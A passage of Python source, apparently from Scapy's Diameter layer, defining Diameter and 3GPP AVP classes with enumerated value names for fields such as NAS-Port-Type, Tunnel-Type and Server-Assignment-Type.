\"MPP\",\n                       257: \"EURAW\",\n                       258: \"EUUI\",\n                       259: \"X25\",\n                       260: \"COMB\",\n                       261: \"FR\",\n                   })]\n\n\nclass AVP_0_10 (AVP_FL_NV):\n    name = 'Framed-Routing'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV,\n        Enumerated('val', None,\n                   {\n                       0: \"None\",\n                       1: \"Send routing packets\",\n                       2: \"Listen for routing packets\",\n                       3: \"Send and Listen    \",\n                   })]\n\n\nclass AVP_0_13 (AVP_FL_NV):\n    name = 'Framed-Compression'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV,\n        Enumerated('val', None,\n                   {0: \"None\", 2: \"IPX header compression\", 3: \"Stac-LZS compression\", })  # noqa: E501\n    ]\n\n\nclass AVP_0_15 (AVP_FL_NV):\n    name = 'Login-Service'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV,\n        Enumerated('val', None,\n                   {\n                       0: \"Telnet\",\n                       1: \"Rlogin\",\n                       2: \"TCP-Clear\",\n                       3: \"PortMaster\",\n                       4: \"LAT\",\n                       5: \"X25-PAD\",\n                       6: \"X25-T3POS\",\n                       7: \"Unassigned\",\n                   })]\n\n\nclass AVP_0_45 (AVP_FL_NV):\n    name = 'Acct-Authentic'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV,\n        Enumerated('val', None,\n                   {0: \"None\", 1: \"RADIUS\", 2: \"Local\", 3: \"Remote\", 4: \"Diameter\", })]  # noqa: E501\n\n\nclass AVP_0_61 (AVP_FL_NV):\n    name = 'NAS-Port-Type'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV,\n        Enumerated('val', None,\n                   {\n                       0: \"Async\",\n                       1: \"Sync\",\n                       2: \"ISDN-Sync\",\n                       3: \"ISDN-Async-v120\",\n                       4: \"ISDN-Async-v110\",\n                       5: \"Virtual\",\n                       6: \"PIAFS\",\n                       7: \"HDLC-Clear-Channel\",\n                       8: \"X25\",\n                       9: \"X75\",\n                       10: \"G.3 Fax\",\n                       11: \"SDSL - Symmetric DSL\",\n                       14: \"IDSL - ISDN Digital Subscriber Line\",\n                       15: \"Ethernet\",\n                       16: \"xDSL - Digital Subscriber Line of unknown type\",\n                       17: \"Cable\",\n                       18: \"Wireless - Other\",\n                       19: \"Wireless - IEEE 802.11\",\n                       20: \"Token-Ring\",\n                       21: \"FDDI\",\n                       22: \"Wireless - CDMA2000\",\n                       23: \"Wireless - UMTS\",\n                       24: \"Wireless - 1X-EV\",\n                       25: \"IAPP\",\n                       26: \"FTTP - Fiber to the Premises\",\n                       27: \"Wireless - IEEE 802.16\",\n                       28: \"Wireless - IEEE 802.20\",\n                       29: \"Wireless - IEEE 802.22\",\n                       30: \"PPPoA - PPP over ATM\",\n                       31: \"PPPoEoA - PPP over Ethernet over ATM\",\n                       32: \"PPPoEoE - PPP over Ethernet over Ethernet\",\n                       33: \"PPPoEoVLAN - PPP over Ethernet over VLAN\",\n                       34: \"PPPoEoQinQ - PPP over Ethernet over IEEE 802.1QinQ\",  # noqa: E501\n                       35: \"xPON - Passive Optical Network\",\n                       36: \"Wireless - XGP\",\n                   })]\n\n\nclass AVP_0_64 (AVP_FL_NV):\n    name = 'Tunnel-Type'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV,\n        Enumerated('val', None,\n                   {\n                       1: \"PPTP\",\n                       2: \"L2F\",\n                       3: \"L2TP\",\n                       4: \"ATMP\",\n                       5: \"VTP\",\n                       6: \"AH\",\n                       7: \"IP-IP-Encap\",\n                       8: \"MIN-IP-IP\",\n                       9: \"ESP\",\n                       10: \"GRE\",\n                       11: \"DVS\",\n                       12: \"IP-in-IP Tunneling\",\n                       13: \"VLAN\",\n                   })]\n\n\nclass AVP_0_65 (AVP_FL_NV):\n    name = 'Tunnel-Medium-Type'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV,\n        Enumerated('val', None,\n                   {\n                       1: \"IPv4\",\n                       2: \"IPv6\",\n                       3: \"NSAP\",\n                       4: \"HDLC\",\n                       5: \"BBN\",\n                       6: \"IEEE-802\",\n                       7: \"E-163\",\n                       8: \"E-164\",\n                       9: \"F-69\",\n                       10: \"X-121\",\n                       11: \"IPX\",\n                       12: \"Appletalk-802\",\n                       13: \"Decnet4\",\n                       14: \"Vines\",\n                       15: \"E-164-NSAP\",\n                   })]\n\n\nclass AVP_0_72 (AVP_FL_NV):\n    name = 'ARAP-Zone-Access'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV,\n        Enumerated('val', None,\n                   {\n                       1: \"Only allow access to default zone\",\n                       2: \"Use zone filter inclusively\",\n                       3: \"Use zone filter exclusively\",\n                   })]\n\n\nclass AVP_0_76 (AVP_FL_NV):\n    name = 'Prompt'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV,\n        Enumerated('val', None, {0: \"No Echo\", 1: \"Echo\", })\n    ]\n\n\nclass AVP_0_261 (AVP_FL_NV):\n    name = 'Redirect-Host-Usage'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV,\n        Enumerated('val', None,\n                   {\n                       0: \"Don't Care\",\n                       1: \"All Session\",\n                       2: \"All Realm\",\n                       3: \"Realm and Application\",\n                       4: \"All Application\",\n                       5: \"All Host\",\n                       6: \"ALL_USER\",\n                   })]\n\n\nclass AVP_0_271 (AVP_FL_NV):\n    name = 'Session-Server-Failover'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV,\n        Enumerated('val', None,\n                   {0: \"REFUSE_SERVICE\", 1: \"TRY_AGAIN\", 2: \"ALLOW_SERVICE\", 3: \"TRY_AGAIN_ALLOW_SERVICE\", })]  # noqa: E501\n\n\nclass AVP_0_273 (AVP_FL_NV):\n    name = 'Disconnect-Cause'\n    avpLen = 12\n    fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: \"REBOOTING\", 1: \"BUSY\", 2: \"DO_NOT_WANT_TO_TALK_TO_YOU\", })]  # noqa: E501\n\n\nclass AVP_0_274 (AVP_FL_NV):\n    name = 'Auth-Request-Type'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV, Enumerated('val', None, {\n            1: \"AUTHENTICATE_ONLY\", 2: \"AUTHORIZE_ONLY\", 3: \"AUTHORIZE_AUTHENTICATE\", })]  # noqa: E501\n\n\nclass AVP_0_277 (AVP_FL_NV):\n    name = 'Auth-Session-State'\n    avpLen = 12\n    fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: \"STATE_MAINTAINED\", 1: \"NO_STATE_MAINTAINED\", })]  # noqa: E501\n\n\nclass AVP_0_285 (AVP_FL_NV):\n    name = 'Re-Auth-Request-Type'\n    avpLen = 12\n    fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: \"AUTHORIZE_ONLY\", 1: \"AUTHORIZE_AUTHENTICATE\", })]  # noqa: E501\n\n\nclass AVP_0_295 (AVP_FL_NV):\n    name = 'Termination-Cause'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV,\n        Enumerated(\n            'val',\n            None,\n            {\n                1: \"DIAMETER_LOGOUT\",\n                2: \"DIAMETER_SERVICE_NOT_PROVIDED\",\n                3: \"DIAMETER_BAD_ANSWER\",\n                4: \"DIAMETER_ADMINISTRATIVE\",\n                5: \"DIAMETER_LINK_BROKEN\",\n                6: \"DIAMETER_AUTH_EXPIRED\",\n                7: \"DIAMETER_USER_MOVED\",\n                8: \"DIAMETER_SESSION_TIMEOUT\",\n            })]\n\n\nclass AVP_0_345 (AVP_FL_NV):\n    name = 'MIP-Algorithm-Type'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV, Enumerated('val', None, {2: \"HMAC-SHA-1\", })]\n\n\nclass AVP_0_346 (AVP_FL_NV):\n    name = 'MIP-Replay-Mode'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV, Enumerated('val', None, {1: \"None\", 2: \"Timestamps\", 3: \"Nonces\", })]  # noqa: E501\n\n\nclass AVP_0_375 (AVP_FL_NV):\n    name = 'SIP-Server-Assignment-Type'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"NO_ASSIGNMENT\",\n                1: \"REGISTRATION\",\n                2: \"RE_REGISTRATION\",\n                3: \"UNREGISTERED_USER\",\n                4: \"TIMEOUT_DEREGISTRATION\",\n                5: \"USER_DEREGISTRATION\",\n                6: \"TIMEOUT_DEREGISTRATION_STORE_SERVER_NAME\",\n                7: \"USER_DEREGISTRATION_STORE_SERVER_NAME\",\n                8: \"ADMINISTRATIVE_DEREGISTRATION\",\n                9: \"AUTHENTICATION_FAILURE\",\n                10: \"AUTHENTICATION_TIMEOUT\",\n                11: \"DEREGISTRATION_TOO_MUCH_DATA\",\n            })]\n\n\nclass AVP_0_377 (AVP_FL_NV):\n    name = 'SIP-Authentication-Scheme'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV, Enumerated('val', None, {0: \"DIGEST\", })]\n\n\nclass AVP_0_384 (AVP_FL_NV):\n    name = 'SIP-Reason-Code'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"PERMANENT_TERMINATION\",\n                1: \"NEW_SIP_SERVER_ASSIGNED\",\n                2: \"SIP_SERVER_CHANGE\",\n                3: \"REMOVE_SIP_SERVER\",\n            })]\n\n\nclass AVP_0_387 (AVP_FL_NV):\n    name = 'SIP-User-Authorization-Type'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV, Enumerated('val', None, {\n            0: \"REGISTRATION\", 1: \"DEREGISTRATION\", 2: \"REGISTRATION_AND_CAPABILITIES\", })]  # noqa: E501\n\n\nclass AVP_0_392 (AVP_FL_NV):\n    name = 'SIP-User-Data-Already-Available'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV, Enumerated('val', None, {\n            0: \"USER_DATA_NOT_AVAILABLE\", 1: \"USER_DATA_ALREADY_AVAILABLE\", })]\n\n\nclass AVP_0_403 (AVP_FL_NV):\n    name = 'CHAP-Algorithm'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV, Enumerated('val', None, {5: \"CHAP with MD5\", })]\n\n\nclass AVP_0_406 (AVP_FL_NV):\n    name = 'Accounting-Auth-Method'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV, Enumerated('val', None, {\n            1: \"PAP\", 2: \"CHAP\", 3: \"MS-CHAP-1\", 4: \"MS-CHAP-2\", 5: \"EAP\", 6: \"Undefined\", 7: \"None\", })]  # noqa: E501\n\n\nclass AVP_0_416 (AVP_FL_NV):\n    name = 'CC-Request-Type'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV, Enumerated('val', None, {\n            1: \"INITIAL_REQUEST\", 2: \"UPDATE_REQUEST\", 3: \"TERMINATION_REQUEST\", 4: \"EVENT_REQUEST\", })]  # noqa: E501\n\n\nclass AVP_0_418 (AVP_FL_NV):\n    name = 'CC-Session-Failover'\n    avpLen = 12\n    fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: \"FAILOVER_NOT_SUPPORTED\", 1: \"FAILOVER_SUPPORTED\", })]  # noqa: E501\n\n\nclass AVP_0_422 (AVP_FL_NV):\n    name = 'Check-Balance-Result'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV, Enumerated('val', None, {0: \"ENOUGH_CREDIT\", 1: \"NO_CREDIT\", })]  # noqa: E501\n\n\nclass AVP_0_426 (AVP_FL_NV):\n    name = 'Credit-Control'\n    avpLen = 12\n    fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: \"CREDIT_AUTHORIZATION\", 1: \"RE_AUTHORIZATION\", })]  # noqa: E501\n\n\nclass AVP_0_427 (AVP_FL_NV):\n    name = 'Credit-Control-Failure-Handling'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV, Enumerated('val', None, {\n            0: \"TERMINATE\", 1: \"CONTINUE\", 2: \"RETRY_AND_TERMINATE\", })]\n\n\nclass AVP_0_428 (AVP_FL_NV):\n    name = 'Direct-Debiting-Failure-Handling'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV, Enumerated('val', None, {0: \"TERMINATE_OR_BUFFER\", 1: \"CONTINUE\", })]  # noqa: E501\n\n\nclass AVP_0_433 (AVP_FL_NV):\n    name = 'Redirect-Address-Type'\n    avpLen = 12\n    fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: \"IPV4_ADDRESS\", 1: \"IPV6_ADDRESS\", 2: \"URL\", 3: \"SIP_URI\", })]  # noqa: E501\n\n\nclass AVP_0_436 (AVP_FL_NV):\n    name = 'Requested-Action'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV, Enumerated('val', None, {\n            0: \"DIRECT_DEBITING\", 1: \"REFUND_ACCOUNT\", 2: \"CHECK_BALANCE\", 3: \"PRICE_ENQUIRY\", })]  # noqa: E501\n\n\nclass AVP_0_449 (AVP_FL_NV):\n    name = 'Final-Unit-Action'\n    avpLen = 12\n    fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: \"TERMINATE\", 1: \"REDIRECT\", 2: \"RESTRICT_ACCESS\", })]  # noqa: E501\n\n\nclass AVP_0_450 (AVP_FL_NV):\n    name = 'Subscription-Id-Type'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"END_USER_E164\",\n                1: \"END_USER_IMSI\",\n                2: \"END_USER_SIP_URI\",\n                3: \"END_USER_NAI\",\n                4: \"END_USER_PRIVATE\",\n            })]\n\n\nclass AVP_0_452 (AVP_FL_NV):\n    name = 'Tariff-Change-Usage'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV, Enumerated('val', None, {\n            0: \"UNIT_BEFORE_TARIFF_CHANGE\", 1: \"UNIT_AFTER_TARIFF_CHANGE\", 2: \"UNIT_INDETERMINATE\", })]  # noqa: E501\n\n\nclass AVP_0_454 (AVP_FL_NV):\n    name = 'CC-Unit-Type'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"TIME\",\n                1: \"MONEY\",\n                2: \"TOTAL-OCTETS\",\n                3: \"INPUT-OCTETS\",\n                4: \"OUTPUT-OCTETS\",\n                5: \"SERVICE-SPECIFIC-UNITS\",\n            })]\n\n\nclass AVP_0_455 (AVP_FL_NV):\n    name = 'Multiple-Services-Indicator'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV, Enumerated('val', None, {\n            0: \"MULTIPLE_SERVICES_NOT_SUPPORTED\", 1: \"MULTIPLE_SERVICES_SUPPORTED\", })]  # noqa: E501\n\n\nclass AVP_0_459 (AVP_FL_NV):\n    name = 'User-Equipment-Info-Type'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV, Enumerated('val', None, {\n            0: \"IMEISV\", 1: \"MAC\", 2: \"EUI64\", 3: \"MODIFIED_EUI64\", })]\n\n\nclass AVP_0_480 (AVP_FL_NV):\n    name = 'Accounting-Record-Type'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV, Enumerated('val', None, {\n            1: \"Event Record\", 2: \"Start Record\", 3: \"Interim Record\", 4: \"Stop Record\", })]  # noqa: E501\n\n\nclass AVP_0_483 (AVP_FL_NV):\n    name = 'Accounting-Realtime-Required'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV, Enumerated('val', None, {\n            0: \"Reserved\", 1: \"DELIVER_AND_GRANT\", 2: \"GRANT_AND_STORE\", 3: \"GRANT_AND_LOSE\", })]  # noqa: E501\n\n\nclass AVP_0_494 (AVP_FL_NV):\n    name = 'MIP6-Auth-Mode'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV, Enumerated('val', None, {0: \"Reserved\", 1: \"IP6_AUTH_MN_AAA\", })]  # noqa: E501\n\n\nclass AVP_0_513 (AVP_FL_NV):\n    name = 'Protocol'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV, Enumerated('val', None, {\n            1: \"ICMP\", 2: \"IGMP\", 4: \"IPv4\", 6: \"TCP\", 17: \"UDP\", 132: \"SCTP\", })]  # noqa: E501\n\n\nclass AVP_0_514 (AVP_FL_NV):\n    name = 'Direction'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV, Enumerated('val', None, {0: \"IN\", 1: \"OUT\", 2: \"BOTH\", })]\n\n\nclass AVP_0_517 (AVP_FL_NV):\n    name = 'Negated'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV, Enumerated('val', None, {0: \"False\", 1: \"True\", })]\n\n\nclass AVP_0_534 (AVP_FL_NV):\n    name = 'Use-Assigned-Address'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV, Enumerated('val', None, {0: \"False\", 1: \"True\", })]\n\n\nclass AVP_0_535 (AVP_FL_NV):\n    name = 'Diffserv-Code-Point'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"CS0\",\n                8: \"CS1\",\n                10: \"AF11\",\n                12: \"AF12\",\n                14: \"AF13\",\n                16: \"CS2\",\n                18: \"AF21\",\n                20: \"AF22\",\n                22: \"AF23\",\n                24: \"CS3\",\n                26: \"AF31\",\n                28: \"AF32\",\n                30: \"AF33\",\n                32: \"CS4\",\n                34: \"AF41\",\n                36: \"AF42\",\n                38: \"AF43\",\n                40: \"CS5\",\n                46: \"EF_PHB\",\n                48: \"CS6\",\n                56: \"CS7\",\n            })]\n\n\nclass AVP_0_536 (AVP_FL_NV):\n    name = 'Fragmentation-Flag'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV, Enumerated('val', None, {0: \"Don't Fragment\", 1: \"More Fragments\", })]  # noqa: E501\n\n\nclass AVP_0_538 (AVP_FL_NV):\n    name = 'IP-Option-Type'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"end_of_list\",\n                1: \"nop\",\n                2: \"security\",\n                3: \"loose_source_route\",\n                4: \"timestamp\",\n                5: \"extended_security\",\n                6: \"commercial_security\",\n                7: \"record_route\",\n                8: \"stream_id\",\n                9: \"strict_source_route\",\n                10: \"experimental_measurement\",\n                11: \"mtu_probe\",\n                12: \"mtu_reply\",\n                13: \"flow_control\",\n                14: \"access_control\",\n                15: \"encode\",\n                16: \"imi_traffic_descriptor\",\n                17: \"extended_IP\",\n                18: \"traceroute\",\n                19: \"address_extension\",\n                20: \"router_alert\",\n                21: \"selective_directed_broadcast_mode\",\n                23: \"dynamic_packet_state\",\n                24: \"upstream_multicast_packet\",\n                25: \"quick_start\",\n                30: \"rfc4727_experiment\",\n            })]\n\n\nclass AVP_0_541 (AVP_FL_NV):\n    name = 'TCP-Option-Type'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"EOL\",\n                1: \"NOP\",\n                2: \"MSS\",\n                3: \"WScale\",\n                4: \"SAckOK\",\n                5: \"SAck\",\n                8: \"Timestamp\",\n                14: \"AltChkSum\",\n                15: \"AltChkSumOpt\",\n                25: \"Mood\",\n            })]\n\n\nclass AVP_0_546 (AVP_FL_NV):\n    name = 'ICMP-Type-Number'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"echo-reply\",\n                3: \"dest-unreach\",\n                4: \"source-quench\",\n                5: \"redirect\",\n                8: \"echo-request\",\n                9: \"router-advertisement\",\n                10: \"router-solicitation\",\n                11: \"time-exceeded\",\n                12: \"parameter-problem\",\n                13: \"timestamp-request\",\n                14: \"timestamp-reply\",\n                15: \"information-request\",\n                16: \"information-response\",\n                17: \"address-mask-request\",\n                18: \"address-mask-reply\",\n            })]\n\n\nclass AVP_0_547 (AVP_FL_NV):\n    name = 'ICMP-Code'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV, Enumerated('val', None, {0: \"TBD\", })]\n\n\nclass AVP_0_570 (AVP_FL_NV):\n    name = 'Timezone-Flag'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV, Enumerated('val', None, {0: \"UTC\", 1: \"LOCAL\", 2: \"OFFSET\", })]  # noqa: E501\n\n\nclass AVP_0_575 (AVP_FL_NV):\n    name = 'QoS-Semantics'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"QoS_Desired\",\n                1: \"QoS_Available\",\n                2: \"QoS_Delivered\",\n                3: \"Minimum_QoS\",\n                4: \"QoS_Authorized\",\n            })]\n\n\nclass AVP_10415_500 (AVP_FL_V):\n    name = 'Abort-Cause'\n    avpLen = 16\n    fields_desc = [AVP_FL_V,\n                   Enumerated('val',\n                              None,\n                              {0: \"BEARER_RELEASED\",\n                               1: \"INSUFFICIENT_SERVER_RESOURCES\",\n                               2: \"INSUFFICIENT_BEARER_RESOURCES\",\n                               })]\n\n\nclass AVP_10415_511 (AVP_FL_V):\n    name = 'Flow-Status'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"ENABLED-UPLINK\", 1: \"ENABLED-DOWNLINK\", 2: \"ENABLED\", 3: \"DISABLED\", 4: \"REMOVED\", })]  # noqa: E501\n\n\nclass AVP_10415_512 (AVP_FL_V):\n    name = 'Flow-Usage'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"NO_INFORMATION\", 1: \"RTCP\", 2: \"AF_SIGNALLING\", })]  # noqa: E501\n\n\nclass AVP_10415_513 (AVP_FL_V):\n    name = 'Specific-Action'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V,\n        Enumerated(\n            'val',\n            None,\n            {\n                1: \"CHARGING_CORRELATION_EXCHANGE\",\n                2: \"INDICATION_OF_LOSS_OF_BEARER\",\n                3: \"INDICATION_OF_RECOVERY_OF_BEARER\",\n                4: \"INDICATION_OF_RELEASE_OF_BEARER\",\n                6: \"IP-CAN_CHANGE\",\n                7: \"INDICATION_OF_OUT_OF_CREDIT\",\n                8: \"INDICATION_OF_SUCCESSFUL_RESOURCES_ALLOCATION\",\n                9: \"INDICATION_OF_FAILED_RESOURCES_ALLOCATION\",\n                10: \"INDICATION_OF_LIMITED_PCC_DEPLOYMENT\",\n                11: \"USAGE_REPORT\",\n                12: \"ACCESS_NETWORK_INFO_REPORT\",\n            })]\n\n\nclass AVP_10415_520 (AVP_FL_V):\n    name = 'Media-Type'\n    avpLen = 16\n    fields_desc = [AVP_FL_V,\n                   Enumerated('val',\n                              None,\n                              {0: \"AUDIO\",\n                               1: \"VIDEO\",\n                               2: \"DATA\",\n                               3: \"APPLICATION\",\n                               4: \"CONTROL\",\n                               5: \"TEXT\",\n                               6: \"MESSAGE\",\n                               4294967295: \"OTHER\",\n                               })]\n\n\nclass AVP_10415_523 (AVP_FL_V):\n    name = 'SIP-Forking-Indication'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"SINGLE_DIALOGUE\", 1: \"SEVERAL_DIALOGUES\", })]\n\n\nclass AVP_10415_527 (AVP_FL_V):\n    name = 'Service-Info-Status'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"FINAL_SERVICE_INFORMATION\", 1: \"PRELIMINARY_SERVICE_INFORMATION\", })]  # noqa: E501\n\n\nclass AVP_10415_529 (AVP_FL_V):\n    name = 'AF-Signalling-Protocol'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"NO_INFORMATION\", 1: \"SIP\", })]\n\n\nclass AVP_10415_533 (AVP_FL_V):\n    name = 'Rx-Request-Type'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"INITIAL_REQUEST\", 1: \"UPDATE_REQUEST\", })]  # noqa: E501\n\n\nclass AVP_10415_536 (AVP_FL_V):\n    name = 'Required-Access-Info'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"USER_LOCATION\", 1: \"MS_TIME_ZONE\", })]  # noqa: E501\n\n\nclass AVP_10415_614 (AVP_FL_V):\n    name = 'Server-Assignment-Type'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"NO_ASSIGNMENT\",\n                1: \"REGISTRATION\",\n                2: \"RE_REGISTRATION\",\n                3: \"UNREGISTERED_USER\",\n                4: \"TIMEOUT_DEREGISTRATION\",\n                5: \"USER_DEREGISTRATION\",\n                6: \"TIMEOUT_DEREGISTRATION_STORE_SERVER_NAME\",\n                7: \"USER_DEREGISTRATION_STORE_SERVER_NAME\",\n                8: \"ADMINISTRATIVE_DEREGISTRATION\",\n                9: \"AUTHENTICATION_FAILURE\",\n                10: \"AUTHENTICATION_TIMEOUT\",\n                11: \"DEREGISTRATION_TOO_MUCH_DATA\",\n                12: \"AAA_USER_DATA_REQUEST\",\n                13: \"PGW_UPDATE\",\n            })]\n\n\nclass AVP_10415_616 (AVP_FL_V):\n    name = 'Reason-Code'\n    avpLen = 16\n    fields_desc = [AVP_FL_V,\n                   Enumerated('val',\n                              None,\n                              {0: \"PERMANENT_TERMINATION\",\n                               1: \"NEW_SERVER_ASSIGNED\",\n                               2: \"SERVER_CHANGE\",\n                               3: \"REMOVE_S-CSCF\",\n                               })]\n\n\nclass AVP_10415_623 (AVP_FL_V):\n    name = 'User-Authorization-Type'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"REGISTRATION\", 1: \"DE_REGISTRATION\", 2: \"REGISTRATION_AND_CAPABILITIES\", })]  # noqa: E501\n\n\nclass AVP_10415_624 (AVP_FL_V):\n    name = 'User-Data-Already-Available'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"USER_DATA_NOT_AVAILABLE\", 1: \"USER_DATA_ALREADY_AVAILABLE\", })]\n\n\nclass AVP_10415_633 (AVP_FL_V):\n    name = 'Originating-Request'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"ORIGINATING\", })]\n\n\nclass AVP_10415_638 (AVP_FL_V):\n    name = 'Loose-Route-Indication'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"LOOSE_ROUTE_NOT_REQUIRED\", 1: \"LOOSE_ROUTE_REQUIRED\", })]  # noqa: E501\n\n\nclass AVP_10415_648 (AVP_FL_V):\n    name = 'Multiple-Registration-Indication'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"NOT_MULTIPLE_REGISTRATION\", 1: \"MULTIPLE_REGISTRATION\", })]\n\n\nclass AVP_10415_650 (AVP_FL_V):\n    name = 'Session-Priority'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"PRIORITY-0\", 1: \"PRIORITY-1\", 2: \"PRIORITY-2\", 3: \"PRIORITY-3\", 4: \"PRIORITY-4\", })]  # noqa: E501\n\n\nclass AVP_10415_652 (AVP_FL_V):\n    name = 'Priviledged-Sender-Indication'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"NOT_PRIVILEDGED_SENDER\", 1: \"PRIVILEDGED_SENDER\", })]\n\n\nclass AVP_10415_703 (AVP_FL_V):\n    name = 'Data-Reference'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"RepositoryData\",\n                1: \"Undefined\",\n                2: \"Undefined\",\n                3: \"Undefined\",\n                4: \"Undefined\",\n                5: \"Undefined\",\n                6: \"Undefined\",\n                7: \"Undefined\",\n                8: \"Undefined\",\n                9: \"Undefined\",\n                10: \"IMSPublicIdentity\",\n                11: \"IMSUserState\",\n                12: \"S-CSCFName\",\n                13: \"InitialFilterCriteria\",\n                14: \"LocationInformation\",\n                15: \"UserState\",\n                16: \"ChargingInformation\",\n                17: \"MSISDN\",\n                18: \"PSIActivation\",\n                19: \"DSAI\",\n                20: \"Reserved\",\n                21: \"ServiceLevelTraceInfo\",\n                22: \"IPAddressSecureBindingInformation\",\n                23: \"ServicePriorityLevel\",\n                24: \"SMSRegistrationInfo\",\n                25: \"UEReachabilityForIP\",\n                26: \"TADSinformation\",\n                27: \"STN-SR\",\n                28: \"UE-SRVCC-Capability\",\n                29: \"ExtendedPriority\",\n                30: \"CSRN\",\n                31: \"ReferenceLocationInformation\",\n            })]\n\n\nclass AVP_10415_705 (AVP_FL_V):\n    name = 'Subs-Req-Type'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"Subscribe\", 1: \"Unsubscribe\", })]  # noqa: E501\n\n\nclass AVP_10415_706 (AVP_FL_V):\n    name = 'Requested-Domain'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"CS-Domain\", 1: \"PS-Domain\", })]\n\n\nclass AVP_10415_707 (AVP_FL_V):\n    name = 'Current-Location'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"DoNotNeedInitiateActiveLocationRetrieval\", 1: \"InitiateActiveLocationRetrieval\", })]  # noqa: E501\n\n\nclass AVP_10415_708 (AVP_FL_V):\n    name = 'Identity-Set'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"ALL_IDENTITIES\",\n                1: \"REGISTERED_IDENTITIES\",\n                2: 